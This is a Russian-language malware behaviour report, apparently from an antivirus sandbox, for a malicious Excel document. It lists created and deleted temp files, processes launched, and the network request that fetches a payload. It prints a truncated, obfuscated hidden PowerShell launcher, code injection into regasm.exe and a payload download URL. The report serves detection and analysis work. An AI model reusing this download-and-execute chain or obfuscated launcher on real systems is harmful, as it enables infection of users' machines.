Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function o6669 {param($hb34f)$t2ebbca='a1ee74e';$f6768e='';for ($i=0; $i -lt $hb34f.length;$i+=2){$q12aa1=[convert]::ToByte($hb34f.Substring($i,2),16);$f6768e+=[char]($q12...
Внедряет код в
следующие системные процессы:
- %WINDIR%\microsoft.net\framework\v2.0.50727\regasm.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\p_olgdip.0.cs
- %TEMP%\m1y0o2n5.cmdline
- %TEMP%\m1y0o2n5.0.cs
- %TEMP%\fq3ghgyl.dll
- %TEMP%\res469c.tmp
- %TEMP%\csc468b.tmp
- %TEMP%\fq3ghgyl.out
- %TEMP%\fq3ghgyl.cmdline
- %TEMP%\fq3ghgyl.0.cs
- %TEMP%\1nbilg2k.dll
- %TEMP%\csc689a.tmp
- %TEMP%\hulthikl.dll
- %TEMP%\p_olgdip.dll
- %TEMP%\resfca3.tmp
- %TEMP%\resf9a5.tmp
- %TEMP%\cq5w9bsv.dll
- %TEMP%\mz8t_uvi.dll
- %TEMP%\ywronk89.dll
- %TEMP%\6v2aiw21.dll
- %TEMP%\resf501.tmp
- %TEMP%\res68ba.tmp
- %TEMP%\resd705.tmp
- %TEMP%\cscd6f4.tmp
- %TEMP%\brz2dono.out
- %TEMP%\brz2dono.cmdline
- %TEMP%\brz2dono.0.cs
- %TEMP%\nta3oi1f.dll
- %TEMP%\resa007.tmp
- %TEMP%\csc9ff6.tmp
- %TEMP%\resfba9.tmp
- %TEMP%\m1y0o2n5.out
- %TEMP%\nta3oi1f.0.cs
- %APPDATA%\kf35ce.exe
- %TEMP%\ow51eqcy.dll
- %TEMP%\res7e75.tmp
- %TEMP%\csc7e64.tmp
- %TEMP%\ow51eqcy.out
- %TEMP%\ow51eqcy.cmdline
- %TEMP%\ow51eqcy.0.cs
- %TEMP%\nta3oi1f.cmdline
- %TEMP%\m1y0o2n5.dll
- %TEMP%\resfbd7.tmp
- %TEMP%\resfb7a.tmp
- %TEMP%\shd6l-ul.dll
- %TEMP%\cq5w9bsv.0.cs
- %TEMP%\shd6l-ul.out
- %TEMP%\mz8t_uvi.cmdline
- %TEMP%\mz8t_uvi.0.cs
- %TEMP%\shd6l-ul.cmdline
- %TEMP%\shd6l-ul.0.cs
- %TEMP%\hulthikl.cmdline
- %TEMP%\hulthikl.0.cs
- %TEMP%\brz2dono.dll
- %TEMP%\1nbilg2k.cmdline
- %TEMP%\6v2aiw21.out
- %TEMP%\6v2aiw21.cmdline
- %TEMP%\6v2aiw21.0.cs
- %TEMP%\ywronk89.out
- %TEMP%\ywronk89.cmdline
- %TEMP%\ywronk89.0.cs
- %TEMP%\p_olgdip.out
- %TEMP%\p_olgdip.cmdline
- %TEMP%\cq5w9bsv.cmdline
- %TEMP%\nta3oi1f.out
- %TEMP%\cq5w9bsv.out
- %TEMP%\1nbilg2k.out
- %TEMP%\mz8t_uvi.out
- %TEMP%\resfb1c.tmp
- %TEMP%\edo1zzax.dll
- %TEMP%\cscfb98.tmp
- %TEMP%\cscfbc7.tmp
- %TEMP%\cscfa11.tmp
- %TEMP%\cscfb69.tmp
- %TEMP%\cscf649.tmp
- %TEMP%\hulthikl.out
- %TEMP%\resf5dc.tmp
- %TEMP%\1nbilg2k.0.cs
- %TEMP%\cscf985.tmp
- %TEMP%\cscf5cc.tmp
- %TEMP%\cscf520.tmp
- %TEMP%\cscf4f1.tmp
- %TEMP%\edo1zzax.out
- %TEMP%\edo1zzax.cmdline
- %TEMP%\edo1zzax.0.cs
- %TEMP%\resf530.tmp
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{d8b8879d-1e19-4c75-ac42-292f92ffa334}.tmp
Удаляет следующие файлы
- %TEMP%\resf501.tmp
- %TEMP%\res68ba.tmp
- %TEMP%\fq3ghgyl.cmdline
- %TEMP%\fq3ghgyl.out
- %TEMP%\fq3ghgyl.dll
- %TEMP%\fq3ghgyl.pdb
- %TEMP%\fq3ghgyl.0.cs
- %TEMP%\csc468b.tmp
- %TEMP%\res469c.tmp
- %TEMP%\edo1zzax.pdb
- %TEMP%\m1y0o2n5.0.cs
- %TEMP%\csc689a.tmp
- %TEMP%\edo1zzax.0.cs
- %TEMP%\edo1zzax.cmdline
- %TEMP%\1nbilg2k.out
- %TEMP%\1nbilg2k.pdb
- %TEMP%\1nbilg2k.dll
- %TEMP%\1nbilg2k.0.cs
- %TEMP%\1nbilg2k.cmdline
- %TEMP%\cq5w9bsv.out
- %TEMP%\cq5w9bsv.dll
- %TEMP%\edo1zzax.dll
- %TEMP%\6v2aiw21.out
- %TEMP%\m1y0o2n5.cmdline
- %TEMP%\brz2dono.0.cs
- %TEMP%\brz2dono.out
- %TEMP%\brz2dono.cmdline
- %TEMP%\cscd6f4.tmp
- %TEMP%\resd705.tmp
- %TEMP%\nta3oi1f.cmdline
- %TEMP%\nta3oi1f.0.cs
- %TEMP%\nta3oi1f.out
- %TEMP%\nta3oi1f.dll
- %TEMP%\nta3oi1f.pdb
- %TEMP%\csc9ff6.tmp
- %TEMP%\resa007.tmp
- %TEMP%\ow51eqcy.0.cs
- %TEMP%\ow51eqcy.pdb
- %TEMP%\ow51eqcy.out
- %TEMP%\ow51eqcy.dll
- %TEMP%\ow51eqcy.cmdline
- %TEMP%\csc7e64.tmp
- %TEMP%\res7e75.tmp
- %TEMP%\m1y0o2n5.dll
- %TEMP%\m1y0o2n5.pdb
- %TEMP%\cq5w9bsv.0.cs
- %TEMP%\edo1zzax.out
- %TEMP%\cq5w9bsv.pdb
- %TEMP%\cq5w9bsv.cmdline
- %TEMP%\mz8t_uvi.cmdline
- %TEMP%\cscfb69.tmp
- %TEMP%\hulthikl.cmdline
- %TEMP%\hulthikl.dll
- %TEMP%\hulthikl.pdb
- %TEMP%\cscfb98.tmp
- %TEMP%\resfca3.tmp
- %TEMP%\cscf985.tmp
- %TEMP%\resf9a5.tmp
- %TEMP%\cscfbc7.tmp
- %TEMP%\resfbd7.tmp
- %TEMP%\resfb7a.tmp
- %TEMP%\hulthikl.0.cs
- %TEMP%\cscf520.tmp
- %TEMP%\resf530.tmp
- %TEMP%\cscf5cc.tmp
- %TEMP%\resf5dc.tmp
- %TEMP%\cscfa11.tmp
- %TEMP%\resfba9.tmp
- %TEMP%\cscf649.tmp
- %TEMP%\resfb1c.tmp
- %TEMP%\cscf4f1.tmp
- %TEMP%\brz2dono.pdb
- %TEMP%\m1y0o2n5.out
- %TEMP%\6v2aiw21.cmdline
- %TEMP%\6v2aiw21.dll
- %TEMP%\hulthikl.out
- %TEMP%\mz8t_uvi.pdb
- %TEMP%\mz8t_uvi.dll
- %TEMP%\mz8t_uvi.0.cs
- %TEMP%\mz8t_uvi.out
- %TEMP%\ywronk89.pdb
- %TEMP%\ywronk89.dll
- %TEMP%\ywronk89.cmdline
- %TEMP%\ywronk89.0.cs
- %TEMP%\ywronk89.out
- %TEMP%\shd6l-ul.pdb
- %TEMP%\shd6l-ul.out
- %TEMP%\shd6l-ul.0.cs
- %TEMP%\shd6l-ul.cmdline
- %TEMP%\shd6l-ul.dll
- %TEMP%\p_olgdip.dll
- %TEMP%\p_olgdip.out
- %TEMP%\p_olgdip.cmdline
- %TEMP%\p_olgdip.0.cs
- %TEMP%\p_olgdip.pdb
- %TEMP%\6v2aiw21.pdb
- %TEMP%\6v2aiw21.0.cs
- %TEMP%\brz2dono.dll
Сетевая активность
TCP
Запросы HTTP GET
- http://dr######i-8272.babyblue.jp/blessed/bbbbb.exe
UDP
- DNS ASK dr######i-8272.babyblue.jp
Другое
Создает и запускает на исполнение
- '%APPDATA%\kf35ce.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function o6669 {param($hb34f)$t2ebbca='a1ee74e';$f6768e='';for ($i=0; $i -lt $hb34f.length;$i+=2){$q12aa1=[convert]::ToByte($hb34f.Substring($i,2),16);$f6768e+=[char]($q12...' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA007.tmp" "%TEMP%\CSC9FF6.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\nta3oi1f.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7E75.tmp" "%TEMP%\CSC7E64.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ow51eqcy.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES68BA.tmp" "%TEMP%\CSC689A.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\m1y0o2n5.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES469C.tmp" "%TEMP%\CSC468B.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\fq3ghgyl.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFCA3.tmp" "%TEMP%\CSCFB98.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFBA9.tmp" "%TEMP%\CSCFA11.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFBD7.tmp" "%TEMP%\CSCFBC7.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFB7A.tmp" "%TEMP%\CSCFB69.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFB1C.tmp" "%TEMP%\CSCF649.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF9A5.tmp" "%TEMP%\CSCF985.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF5DC.tmp" "%TEMP%\CSCF5CC.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF530.tmp" "%TEMP%\CSCF520.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF501.tmp" "%TEMP%\CSCF4F1.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\edo1zzax.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hulthikl.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\1nbilg2k.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\mz8t_uvi.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\cq5w9bsv.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\shd6l-ul.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\6v2aiw21.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ywronk89.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\p_olgdip.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\brz2dono.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD705.tmp" "%TEMP%\CSCD6F4.tmp"' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD705.tmp" "%TEMP%\CSCD6F4.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\brz2dono.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA007.tmp" "%TEMP%\CSC9FF6.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\nta3oi1f.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7E75.tmp" "%TEMP%\CSC7E64.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ow51eqcy.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES68BA.tmp" "%TEMP%\CSC689A.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\m1y0o2n5.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES469C.tmp" "%TEMP%\CSC468B.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\fq3ghgyl.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFCA3.tmp" "%TEMP%\CSCFB98.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFBA9.tmp" "%TEMP%\CSCFA11.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFBD7.tmp" "%TEMP%\CSCFBC7.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFB7A.tmp" "%TEMP%\CSCFB69.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF9A5.tmp" "%TEMP%\CSCF985.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF5DC.tmp" "%TEMP%\CSCF5CC.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF530.tmp" "%TEMP%\CSCF520.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF501.tmp" "%TEMP%\CSCF4F1.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\edo1zzax.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hulthikl.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\1nbilg2k.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\mz8t_uvi.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\cq5w9bsv.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\shd6l-ul.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\6v2aiw21.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ywronk89.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\p_olgdip.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFB1C.tmp" "%TEMP%\CSCF649.tmp"
- '%WINDIR%\microsoft.net\framework\v2.0.50727\regasm.exe'
